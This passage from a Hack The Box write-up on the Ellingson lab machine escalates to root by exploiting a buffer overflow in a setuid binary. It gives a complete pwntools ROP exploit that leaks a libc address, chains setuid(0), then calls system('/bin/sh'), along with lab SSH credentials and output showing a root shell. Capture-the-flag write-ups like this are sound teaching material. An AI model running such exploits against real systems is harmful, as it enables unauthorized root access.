shell(p,elf,libc,rop)



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py

[+] Connecting to ellingson.htb on port 22 : Done

[*] margo@ellingson.htb:

Distro Ubuntu 18.04

OS: linux

Arch: amd64

Version: 4.15 .0

ASLR: Enabled

[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 8012

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE ( 0x400000 )

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

[*] Loaded cached gadgets for './garbage'

[*] puts @plt: 0x401050

[*] __libc_start_main: 0x403ff0

[*] pop rdi gadget: 0x40179b

[+] Leaked __libc_start_main: 0x7f63c8d7eab0

[*] Calculated libc address: 0x7f63c8d5d000

[+] /bin/sh: 0x7f63c8f10e9a

[+] system: 0x7f63c8dac440

[*] Switching to interactive mode



access denied.

$ $ whoami

margo

$ $ id

uid= 1002 (margo) gid= 1002 (margo) groups= 1002 (margo)

$ $



It works, but we get a shell as margo not root

Exploitation: setuid –> root shell

To solve this we will create another chain that calls setuid() and sets our uid to 0.

I created a function called suid() that takes the same arguments as the other functions:

1

def suid (p,elf,libc,rop) :



This function will call the pop rdi, ret gadget and it will put a 0 in rdi , then it will call setuid() which will take its argument from rdi and will set our uid to 0, and finally it will call main() again.

We need the addresses of pop rdi, ret gadget, setuid() from libc and main() from the binary, to get them:

1

2

3

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

SUID = libc.sym[ 'setuid' ]

MAIN = elf.symbols[ 'main' ]



Then we will construct the payload and send it:

1

2

3

4

5

6

7

payload = "A" * 136

payload += p64(POP_RDI)

payload += p64( 0 )

payload += p64(SUID)

payload += p64(MAIN)

p.recvuntil( 'password:' )

p.sendline(payload)



We will call this function before calling shell() so our final exploit will be:

exploit.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76



from pwn import *



def leak (p,elf,libc,rop) :

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

LIBC_START_MAIN = elf.symbols[ '__libc_start_main' ]

PUTS = elf.plt[ 'puts' ]

MAIN = elf.symbols[ 'main' ]



log.info( "puts@plt: " + hex(PUTS))

log.info( "__libc_start_main: " + hex(LIBC_START_MAIN))

log.info( "pop rdi gadget: " + hex(POP_RDI))



payload = "A" * 136

payload += p64(POP_RDI)

payload += p64(LIBC_START_MAIN)

payload += p64(PUTS)

payload += p64(MAIN)



p.recvuntil( 'password:' )

p.sendline(payload)

p.recvline()

p.recvline()

leak = p.recvline().strip()

leak = u64(leak.ljust( 8 , "\x00" ))



log.success( "Leaked __libc_start_main: " + hex(leak))

return leak



def suid (p,elf,libc,rop) :

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

SUID = libc.sym[ 'setuid' ]

MAIN = elf.symbols[ 'main' ]



payload = "A" * 136

payload += p64(POP_RDI)

payload += p64( 0 )

payload += p64(SUID)

payload += p64(MAIN)

p.recvuntil( 'password:' )

p.sendline(payload)



def shell (p,elf,libc,rop) :

RET = rop.find_gadget([ 'ret' ])[ 0 ]

POP_RDI = (rop.find_gadget([ 'pop rdi' , 'ret' ]))[ 0 ]

BIN_SH = next(libc.search( "/bin/sh" ))

SYSTEM = libc.sym[ "system" ]



log.success( "/bin/sh: " + hex(BIN_SH))

log.success( "system: " + hex(SYSTEM))



payload = "A" * 136

payload += p64(RET)

payload += p64(POP_RDI)

payload += p64(BIN_SH)

payload += p64(SYSTEM)



p.recvuntil( 'password:' )

p.sendline(payload)

p.interactive()



r = ssh(host= 'ellingson.htb' , user= 'margo' , password= 'iamgod$08' )

p = r.process( '/usr/bin/garbage' )



elf = ELF( "./garbage" )

libc = ELF( "./libc.so.6" )

rop = ROP(elf)



leak = leak(p,elf,libc,rop)

libc.address = leak - libc.sym[ "__libc_start_main" ]



log.info( "Calculated libc address: " + hex(libc.address))

log.info( "Setting uid to 0" )



suid(p,elf,libc,rop)

shell(p,elf,libc,rop)



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py

[+] Connecting to ellingson.htb on port 22 : Done

[*] margo@ellingson.htb:

Distro Ubuntu 18.04

OS: linux

Arch: amd64

Version: 4.15 .0

ASLR: Enabled

[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 8111

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE ( 0x400000 )

[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'

Arch: amd64 -64 -little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

[*] Loaded cached gadgets for './garbage'

[*] puts @plt: 0x401050

[*] __libc_start_main: 0x403ff0

[*] pop rdi gadget: 0x40179b

[+] Leaked __libc_start_main: 0x7f0e56addab0

[*] Calculated libc address: 0x7f0e56abc000

[*] Setting uid to 0

[+] /bin/sh: 0x7f0e56c6fe9a

[+] system: 0x7f0e56b0b440

[*] Switching to interactive mode



access denied.

# $ whoami

root

# $ id

uid= 0 (root) gid= 1002 (margo) groups= 1002 (margo)

# $





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Writeup

Next Hack The Box write-up: Hack The Box - Safe